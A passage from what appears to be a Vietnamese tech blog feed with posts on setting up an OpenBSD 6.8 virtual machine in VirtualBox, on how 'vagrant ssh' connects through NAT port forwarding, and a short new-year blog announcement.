<span class="n">Special</span><span class="w"> </span><span class="n">cases</span><span class="w"> </span><span class="n">aren</span><span class="c">'t special enough to break the rules.</span><span class="w"></span>
<span class="n">Although</span><span class="w"> </span><span class="n">practicality</span><span class="w"> </span><span class="n">beats</span><span class="w"> </span><span class="n">purity</span><span class="p">.</span><span class="w"></span>
<span class="n">Errors</span><span class="w"> </span><span class="n">should</span><span class="w"> </span><span class="n">never</span><span class="w"> </span><span class="n">pass</span><span class="w"> </span><span class="n">silently</span><span class="p">.</span><span class="w"></span>
<span class="n">Unless</span><span class="w"> </span><span class="n">explicitly</span><span class="w"> </span><span class="n">silenced</span><span class="p">.</span><span class="w"></span>
<span class="ow">In</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">face</span><span class="w"> </span><span class="k">of</span><span class="w"> </span><span class="n">ambiguity</span><span class="p">,</span><span class="w"> </span><span class="n">refuse</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">temptation</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="n">guess</span><span class="p">.</span><span class="w"></span>
<span class="n">There</span><span class="w"> </span><span class="n">should</span><span class="w"> </span><span class="n">be</span><span class="w"> </span><span class="n">one</span><span class="o">--</span><span class="w"> </span><span class="ow">and</span><span class="w"> </span><span class="n">preferably</span><span class="w"> </span><span class="n">only</span><span class="w"> </span><span class="n">one</span><span class="w"> </span><span class="o">--</span><span class="n">obvious</span><span class="w"> </span><span class="n">way</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="k">do</span><span class="w"> </span><span class="n">it</span><span class="p">.</span><span class="w"></span>
<span class="n">Although</span><span class="w"> </span><span class="n">that</span><span class="w"> </span><span class="n">way</span><span class="w"> </span><span class="n">may</span><span class="w"> </span><span class="k">not</span><span class="w"> </span><span class="n">be</span><span class="w"> </span><span class="n">obvious</span><span class="w"> </span><span class="n">at</span><span class="w"> </span><span class="n">first</span><span class="w"> </span><span class="n">unless</span><span class="w"> </span><span class="n">you</span><span class="c">'re Dutch.</span><span class="w"></span>
<span class="n">Now</span><span class="w"> </span><span class="ow">is</span><span class="w"> </span><span class="n">better</span><span class="w"> </span><span class="n">than</span><span class="w"> </span><span class="n">never</span><span class="p">.</span><span class="w"></span>
<span class="n">Although</span><span class="w"> </span><span class="n">never</span><span class="w"> </span><span class="ow">is</span><span class="w"> </span><span class="n">often</span><span class="w"> </span><span class="n">better</span><span class="w"> </span><span class="n">than</span><span class="w"> </span><span class="o">*</span><span class="n">right</span><span class="o">*</span><span class="w"> </span><span class="n">now</span><span class="p">.</span><span class="w"></span>
<span class="k">If</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">implementation</span><span class="w"> </span><span class="ow">is</span><span class="w"> </span><span class="n">hard</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="n">explain</span><span class="p">,</span><span class="w"> </span><span class="n">it</span><span class="c">'s a bad idea.</span><span class="w"></span>
<span class="k">If</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">implementation</span><span class="w"> </span><span class="ow">is</span><span class="w"> </span><span class="n">easy</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="n">explain</span><span class="p">,</span><span class="w"> </span><span class="n">it</span><span class="w"> </span><span class="n">may</span><span class="w"> </span><span class="n">be</span><span class="w"> </span><span class="n">a</span><span class="w"> </span><span class="n">good</span><span class="w"> </span><span class="n">idea</span><span class="p">.</span><span class="w"></span>
<span class="n">Namespaces</span><span class="w"> </span><span class="n">are</span><span class="w"> </span><span class="n">one</span><span class="w"> </span><span class="n">honking</span><span class="w"> </span><span class="n">great</span><span class="w"> </span><span class="n">idea</span><span class="w"> </span><span class="o">--</span><span class="w"> </span><span class="k">let</span><span class="c">'s do more of those!</span><span class="w"></span>
</code></pre></div>
<h3>Kết luận</h3>
<p>Cài đặt máy ảo Alpine Linux là một việc đơn giản, nhanh chóng.</p>
<p>Happy hacking!</p>Cài đặt và chạy máy ảo OpenBSD 6.8 trên VirtualBox 6.02021-02-13T14:00:00+07:002021-02-13T14:00:00+07:00hvntag:familug.github.io,2021-02-13:/cai-dat-va-chay-may-ao-openbsd-68-tren-virtualbox-60.html<p>Nếu vì một lý do gì bạn không dùng vagrant (không tin tưởng
người build vagrant box chẳng hạn), việc tạo máy ảo OpenBSD
trên VirtualBox không có gì phức tạp, nhưng cần chút chú ý.</p>
<h3>Tải file installXX.iso OpenBSD mới nhất</h3>
<p>Truy cập
https://www.openbsd.org/faq …</p><p>Nếu vì một lý do gì bạn không dùng vagrant (không tin tưởng
người build vagrant box chẳng hạn), việc tạo máy ảo OpenBSD
trên VirtualBox không có gì phức tạp, nhưng cần chút chú ý.</p>
<h3>Tải file installXX.iso OpenBSD mới nhất</h3>
<p>Truy cập
https://www.openbsd.org/faq/faq4.html#Download</p>
<p>rồi tìm tới file installXX.iso, chọn architecture phù hợp,
thường là <code>amd64</code>. Chú ý là file <code>.iso</code> để tạo đĩa CD/cài
máy ảo. File <code>.img</code> là dùng để tạo USB.</p>
<h3>Tạo máy ảo mới trên VirtualBox</h3>
<p>New > BSD > OpenBSD 64 bits</p>
<p>Continue > Continue .... > Create</p>
<p>Trước khi bật máy ảo lên, chọn Settings > Storage > Chọn hình
đĩa CD rồi chọn tới file ISO vừa tải.</p>
<p><img alt="virtualbox" src="https://familug.github.io/images/vbox.png"></p>
<p>QUAN TRỌNG: chọn Audio > bỏ tick "Enable audio" đi,
nếu không, VirtualBox sẽ full CPU sau khi sleep mặc
dù xem trên OpenBSD thì không thấy dùng CPU.</p>
<p>Settings > Network > Adapter 1 > NAT > Port forwarding,
thêm một dòng mới, chọn host port là 1 số từ 2222 đến 22XX,
Guest Port là 22.</p>
<p><img alt="Port forwarding" src="https://familug.github.io/images/portforwarding.png"></p>
<h3>Cài OpenBSD</h3>
<p>Bật máy ảo lên, Install > hầu hết là enter chọn các
option mặc định, mất tầm 2 phút để cài.
Khi có hỏi xedodm, chọn No, khi hỏi sshd, chọn yes.</p>
<p>Cài xong reboot máy ảo, vào Settings > Storage > bỏ file ISO
đã nhét vào ra. Máy sẽ boot vào OpenBSD.</p>
<h3>SSH vào OpenBSD</h3>
<p>Chuột phải chọn máy ảo > Start > Headless start.
Chờ vài giây rồi ssh vào máy:</p>
<div class="highlight"><pre><span></span><code><span class="n">ssh</span><span class="w"> </span><span class="n">root</span><span class="mf">@127.0.0.1</span><span class="w"> </span><span class="o">-</span><span class="n">p</span><span class="w"> </span><span class="mi">2222</span><span class="w"></span>
</code></pre></div>
<p>Nhập password đã chọn lúc cài đặt.</p>
<div class="highlight"><pre><span></span><code><span class="n">$</span><span class="w"> </span><span class="n">ssh</span><span class="w"> </span><span class="n">root</span><span class="mf">@127.0.0.1</span><span class="w"> </span><span class="o">-</span><span class="n">p2222</span><span class="w"></span>
<span class="n">root</span><span class="mf">@127.0.0.1</span><span class="err">'</span><span class="n">s</span><span class="w"> </span><span class="n">password</span><span class="o">:</span><span class="w"> </span>
<span class="n">Last</span><span class="w"> </span><span class="n">login</span><span class="o">:</span><span class="w"> </span><span class="n">Wed</span><span class="w"> </span><span class="n">Feb</span><span class="w"> </span><span class="mi">10</span><span class="w"> </span><span class="mi">22</span><span class="o">:</span><span class="mi">35</span><span class="o">:</span><span class="mi">32</span><span class="w"> </span><span class="mi">2021</span><span class="w"> </span><span class="n">from</span><span class="w"> </span><span class="mf">10.0.2.2</span><span class="w"></span>
<span class="n">OpenBSD</span><span class="w"> </span><span class="mf">6.8</span><span class="w"> </span><span class="p">(</span><span class="n">GENERIC</span><span class="p">)</span><span class="w"> </span><span class="err">#</span><span class="mi">97</span><span class="o">:</span><span class="w"> </span><span class="n">Sun</span><span class="w"> </span><span class="n">Oct</span><span class="w"> </span><span class="mi">4</span><span class="w"> </span><span class="mi">18</span><span class="o">:</span><span class="mo">00</span><span class="o">:</span><span class="mi">46</span><span class="w"> </span><span class="n">MDT</span><span class="w"> </span><span class="mi">2020</span><span class="w"></span>
<span class="n">Welcome</span><span class="w"> </span><span class="n">to</span><span class="w"> </span><span class="n">OpenBSD</span><span class="o">:</span><span class="w"> </span><span class="n">The</span><span class="w"> </span><span class="n">proactively</span><span class="w"> </span><span class="n">secure</span><span class="w"> </span><span class="n">Unix</span><span class="o">-</span><span class="n">like</span><span class="w"> </span><span class="n">operating</span><span class="w"> </span><span class="n">system</span><span class="p">.</span><span class="w"></span>
<span class="n">Please</span><span class="w"> </span><span class="n">use</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">sendbug</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span><span class="w"> </span><span class="n">utility</span><span class="w"> </span><span class="n">to</span><span class="w"> </span><span class="n">report</span><span class="w"> </span><span class="n">bugs</span><span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">system</span><span class="p">.</span><span class="w"></span>
<span class="n">Before</span><span class="w"> </span><span class="n">reporting</span><span class="w"> </span><span class="n">a</span><span class="w"> </span><span class="n">bug</span><span class="p">,</span><span class="w"> </span><span class="n">please</span><span class="w"> </span><span class="n">try</span><span class="w"> </span><span class="n">to</span><span class="w"> </span><span class="n">reproduce</span><span class="w"> </span><span class="n">it</span><span class="w"> </span><span class="n">with</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">latest</span><span class="w"></span>
<span class="n">version</span><span class="w"> </span><span class="n">of</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">code</span><span class="p">.</span><span class="w"> </span><span class="n">With</span><span class="w"> </span><span class="n">bug</span><span class="w"> </span><span class="n">reports</span><span class="p">,</span><span class="w"> </span><span class="n">please</span><span class="w"> </span><span class="n">try</span><span class="w"> </span><span class="n">to</span><span class="w"> </span><span class="n">ensure</span><span class="w"> </span><span class="n">that</span><span class="w"></span>
<span class="n">enough</span><span class="w"> </span><span class="n">information</span><span class="w"> </span><span class="n">to</span><span class="w"> </span><span class="n">reproduce</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">problem</span><span class="w"> </span><span class="n">is</span><span class="w"> </span><span class="n">enclosed</span><span class="p">,</span><span class="w"> </span><span class="n">and</span><span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="n">a</span><span class="w"></span>
<span class="n">known</span><span class="w"> </span><span class="n">fix</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="n">it</span><span class="w"> </span><span class="n">exists</span><span class="p">,</span><span class="w"> </span><span class="n">include</span><span class="w"> </span><span class="n">that</span><span class="w"> </span><span class="n">as</span><span class="w"> </span><span class="n">well</span><span class="p">.</span><span class="w"></span>
<span class="n">obsd</span><span class="err">#</span><span class="w"> </span>
</code></pre></div>
<p>Xong.</p>
<h3>Kết luận</h3>
<p>Cài đặt máy ảo OpenBSD là một việc đơn giản, nhanh chóng.
Have fun.</p>Vagrant ssh (với VirtualBox backend) hoạt động thế nào?2021-02-13T01:00:00+07:002021-02-13T01:00:00+07:00hvntag:familug.github.io,2021-02-13:/vagrant-ssh-voi-virtualbox-backend-hoat-dong-the-nao.html<p><a href="https://www.familug.org/2020/02/vagrant.html">Vagrant</a>
là công cụ tuyệt vời để tạo máy ảo, với 3 câu lệnh, ta đã
chui vào máy ảo mới tạo:</p>
<div class="highlight"><pre><span></span><code>vagrant init
vagrant up
vagrant ssh
</code></pre></div>
<p>Bên dưới có rất nhiều "magic" xảy ra, đó là những giá trị mà Vagrant
mang lại thay vì tạo máy ào …</p><p><a href="https://www.familug.org/2020/02/vagrant.html">Vagrant</a>
là công cụ tuyệt vời để tạo máy ảo, với 3 câu lệnh, ta đã
chui vào máy ảo mới tạo:</p>
<div class="highlight"><pre><span></span><code>vagrant init
vagrant up
vagrant ssh
</code></pre></div>
<p>Bên dưới có rất nhiều "magic" xảy ra, đó là những giá trị mà Vagrant
mang lại thay vì tạo máy ào bằng tay với VirtualBox/VMWare/KVM...</p>
<p>Vagrant ssh là câu lệnh thú vị và bất ngờ khi tìm hiểu: kết nối
mạng từ máy thật (host) vào máy ảo (guest) như thế nào.</p>
<p>Test với máy ảo chạy fedora, không chỉnh sửa config gì sau khi <code>vagrant init</code> ngoài box:</p>
<div class="highlight"><pre><span></span><code> config.vm.box = "fedora/33-cloud-base"
config.vm.box_version = "33.20201019.0"
</code></pre></div>
<h3>Bật debug</h3>
<p>Cách đơn giản để tìm hiểu 1 phần mềm bất kỳ là bật chế độ
logging debug/verbose lên, vagrant không là ngoại lệ.</p>
<div class="highlight"><pre><span></span><code>VAGRANT_LOG=info vagrant ssh
</code></pre></div>
<p>có các chế độ log nhiều hơn như <code>VAGRANT_LOG=debug</code> nhưng
với info cũng đã đủ rồi:</p>
<div class="highlight"><pre><span></span><code><span class="n">$</span><span class="w"> </span><span class="n">VAGRANT_LOG</span><span class="o">=</span><span class="n">info</span><span class="w"> </span><span class="n">vagrant</span><span class="w"> </span><span class="n">ssh</span><span class="w"></span>
<span class="w"> </span><span class="n">INFO</span><span class="w"> </span><span class="n">global</span><span class="o">:</span><span class="w"> </span><span class="n">Vagrant</span><span class="w"> </span><span class="n">version</span><span class="o">:</span><span class="w"> </span><span class="mf">2.2.6</span><span class="w"></span>
<span class="w"> </span><span class="n">INFO</span><span class="w"> </span><span class="n">global</span><span class="o">:</span><span class="w"> </span><span class="n">Ruby</span><span class="w"> </span><span class="n">version</span><span class="o">:</span><span class="w"> </span><span class="mf">2.4.9</span><span class="w"></span>
<span class="w"> </span><span class="n">INFO</span><span class="w"> </span><span class="n">global</span><span class="o">:</span><span class="w"> </span><span class="n">RubyGems</span><span class="w"> </span><span class="n">version</span><span class="o">:</span><span class="w"> </span><span class="mf">2.6.14.4</span><span class="w"></span>
<span class="w"> </span><span class="n">INFO</span><span class="w"> </span><span class="n">vagrant</span><span class="o">:</span><span class="w"> </span><span class="err">`</span><span class="n">vagrant</span><span class="err">`</span><span class="w"> </span><span class="n">invoked</span><span class="o">:</span><span class="w"> </span><span class="p">[</span><span class="s">"ssh"</span><span class="p">]</span><span class="w"></span>
<span class="p">...</span><span class="w"></span>
<span class="w"> </span><span class="n">INFO</span><span class="w"> </span><span class="n">subprocess</span><span class="o">:</span><span class="w"> </span><span class="n">Starting</span><span class="w"> </span><span class="n">process</span><span class="o">:</span><span class="w"> </span><span class="p">[</span><span class="s">"/usr/local/bin/VBoxManage"</span><span class="p">,</span><span class="w"> </span><span class="s">"showvminfo"</span><span class="p">,</span><span class="w"> </span><span class="s">"63dfeb70-1337-4db3-84f4-4bf3514aa225"</span><span class="p">]</span><span class="w"></span>
<span class="p">...</span><span class="w"></span>
<span class="w"> </span><span class="n">INFO</span><span class="w"> </span><span class="n">ssh</span><span class="o">:</span><span class="w"> </span><span class="n">Invoking</span><span class="w"> </span><span class="n">SSH</span><span class="o">:</span><span class="w"> </span><span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">ssh</span><span class="w"> </span><span class="p">[</span><span class="s">"vagrant@127.0.0.1"</span><span class="p">,</span><span class="w"> </span><span class="s">"-p"</span><span class="p">,</span><span class="w"> </span><span class="s">"2222"</span><span class="p">,</span><span class="w"> </span><span class="s">"-o"</span><span class="p">,</span><span class="w"> </span><span class="s">"LogLevel=FATAL"</span><span class="p">,</span><span class="w"> </span><span class="s">"-o"</span><span class="p">,</span><span class="w"> </span><span class="s">"Compression=yes"</span><span class="p">,</span><span class="w"> </span><span class="s">"-o"</span><span class="p">,</span><span class="w"> </span><span class="s">"DSAAuthentication=yes"</span><span class="p">,</span><span class="w"> </span><span class="s">"-o"</span><span class="p">,</span><span class="w"> </span><span class="s">"IdentitiesOnly=yes"</span><span class="p">,</span><span class="w"> </span><span class="s">"-o"</span><span class="p">,</span><span class="w"> </span><span class="s">"StrictHostKeyChecking=no"</span><span class="p">,</span><span class="w"> </span><span class="s">"-o"</span><span class="p">,</span><span class="w"> </span><span class="s">"UserKnownHostsFile=/dev/null"</span><span class="p">,</span><span class="w"> </span><span class="s">"-i"</span><span class="p">,</span><span class="w"> </span><span class="s">"/Users/user/me/fedora/.vagrant/machines/default/virtualbox/private_key"</span><span class="p">]</span><span class="w"></span>
<span class="n">Last</span><span class="w"> </span><span class="n">login</span><span class="o">:</span><span class="w"> </span><span class="n">Wed</span><span class="w"> </span><span class="n">Feb</span><span class="w"> </span><span class="mi">10</span><span class="w"> </span><span class="mi">08</span><span class="o">:</span><span class="mi">22</span><span class="o">:</span><span class="mi">51</span><span class="w"> </span><span class="mi">2021</span><span class="w"> </span><span class="n">from</span><span class="w"> </span><span class="mf">10.0.2.2</span><span class="w"></span>
<span class="p">[</span><span class="n">vagrant</span><span class="p">@</span><span class="n">localhost</span><span class="w"> </span><span class="o">~</span><span class="p">]</span><span class="n">$</span><span class="w"> </span>
</code></pre></div>
<p>vagrant ssh vào máy ảo qua <code>lo</code> (loopback interface), dùng <code>127.0.0.1</code> chứ
không phải bất kỳ network interface nào khác.</p>
<h3>VirtualBox networking modes</h3>
<p>https://www.virtualbox.org/manual/ch06.html</p>
<p>VirtualBox có các networking modes sau: </p>
<div class="highlight"><pre><span></span><code>Network Address Translation (NAT). (máy guest có thể kết nối internet)
NAT Network. (các máy guest có thể kết nôí đến nhau)
Bridged networking. (máy guest sử dụng network thật mà máy host đang dùng)
Internal networking. (???)
Host-only networking. (máy guest sẽ có địa chỉ IP mà máy host có thể truy cập)
</code></pre></div>
<p><img alt="NAT" src="https://familug.github.io/images/nat.png"></p>
<p>Mặc định, vagrant sẽ dùng NAT, máy guest sẽ có thể kết nối internet, vagrant
sẽ cấu hình port forwarding, từ 1 port nào đó trên máy host, tới port 22 trên
máy guest, để có thể ssh: <code>vagrant@127.0.0.1 -p 2222...</code></p>
<p><img alt="Port forwarding" src="https://familug.github.io/images/portforwarding.png"></p>
<p>Khi cần chạy 1 service mà muốn các máy trong mạng đều truy cập được, máy ảo
cần thêm 1 interface ở mode: bridge, nó sẽ hoạt động như 1 máy thật trong mạng,
với IP của mạng thật.</p>
<p>Khi cần chạy 1 service mà muốn máy host truy cập được, có thể forward port
với NAT nói trên, hoặc tạo 1 host-only interface.</p>
<h3>SSH Key</h3>
<p>Một Vagrant box tải từ vagrant cloud sẽ đảm bảo nó có sẵn user vagrant,
cho phép ssh qua 1 cặp <a href="https://github.com/hashicorp/vagrant/tree/main/keys">SSH key</a>
cung cấp sẵn. Sau lần đầu ssh vào,
vagrant sẽ sinh 1 cặp key mới và thay thế cặp key mặc định này.
https://www.vagrantup.com/docs/boxes/base#vagrant-user</p>
<div class="highlight"><pre><span></span><code>~/me/fedora/.vagrant/machines/default/virtualbox/private_key
</code></pre></div>
<p>Toàn bộ thông tin này có trong output bình thường của lệnh vagrant up
khi chạy lần đầu:</p>
<div class="highlight"><pre><span></span><code>$ vagrant up<span class="p">;</span> <span class="o">[</span><span class="m">0</span><span class="o">]</span>
Bringing machine <span class="s1">'default'</span> up with <span class="s1">'virtualbox'</span> provider...
<span class="o">==</span>> default: Importing base box <span class="s1">'generic/openbsd6'</span>...
<span class="o">==</span>> default: Matching MAC address <span class="k">for</span> NAT networking...
<span class="o">==</span>> default: Checking <span class="k">if</span> box <span class="s1">'generic/openbsd6'</span> version <span class="s1">'2.0.6'</span> is up to date...
<span class="o">==</span>> default: A newer version of the box <span class="s1">'generic/openbsd6'</span> <span class="k">for</span> provider <span class="s1">'virtualbox'</span> <span class="nv">is</span>
<span class="o">==</span>> default: available! You currently have version <span class="s1">'2.0.6'</span>. The latest is <span class="nv">version</span>
<span class="o">==</span>> default: <span class="s1">'3.2.4'</span>. Run <span class="sb">`</span>vagrant box update<span class="sb">`</span> to update.
<span class="o">==</span>> default: Setting the name of the VM: <span class="nv">openbsd_default_1613198270097_41776</span>
<span class="o">==</span>> default: Fixed port collision <span class="k">for</span> <span class="nv">22</span> <span class="o">=</span>> <span class="m">2222</span>. Now on port <span class="m">2200</span>.
<span class="o">==</span>> default: Clearing any previously <span class="nb">set</span> network interfaces...
<span class="o">==</span>> default: Preparing network interfaces based on configuration...
default: Adapter <span class="m">1</span>: <span class="nv">nat</span>
<span class="o">==</span>> default: Forwarding ports...
default: <span class="m">22</span> <span class="o">(</span>guest<span class="o">)</span> <span class="o">=</span>> <span class="m">2200</span> <span class="o">(</span>host<span class="o">)</span> <span class="o">(</span>adapter <span class="m">1</span><span class="o">)</span>
<span class="o">==</span>> default: Running <span class="s1">'pre-boot'</span> VM customizations...
<span class="o">==</span>> default: Booting VM...
<span class="o">==</span>> default: Waiting <span class="k">for</span> machine to boot. This may take a few minutes...
default: SSH address: <span class="m">127</span>.0.0.1:2200
default: SSH username: vagrant
default: SSH auth method: private key
default:
default: Vagrant insecure key detected. Vagrant will automatically replace
default: this with a newly generated keypair <span class="k">for</span> better security.
default:
default: Inserting generated public key within guest...
default: Removing insecure key from the guest <span class="k">if</span> it<span class="err">'</span>s present...
default: Key inserted! Disconnecting and reconnecting using new SSH key...
<span class="o">==</span>> default: Machine booted and ready!
</code></pre></div>
<h2>Kết luận</h2>
<p>Với những hiểu biết này, ta đã có thể tạo các máy ảo và dùng như
vagrant, hay thậm chí tạo các vagrant box để tự dùng.</p>
<p>https://www.vagrantup.com/docs/boxes/base</p>
<h2>Xem thêm</h2>
<p>Hướng dẫn vagrant cơ bản tại https://www.familug.org/2020/02/vagrant.html</p>Hello, world! 20212021-02-13T00:00:00+07:002021-02-13T00:00:00+07:00hvntag:familug.github.io,2021-02-13:/hello-world-2021.html<p>Blog này sẽ thay thế www.familug.org từ 2021. Các bài viết cũ vẫn sẽ
tồn tại trên www.familug.org.
Một trang mới cho FAMILUG: familug.github.io.</p>
<p>Chúc mừng năm mới 2021.</p>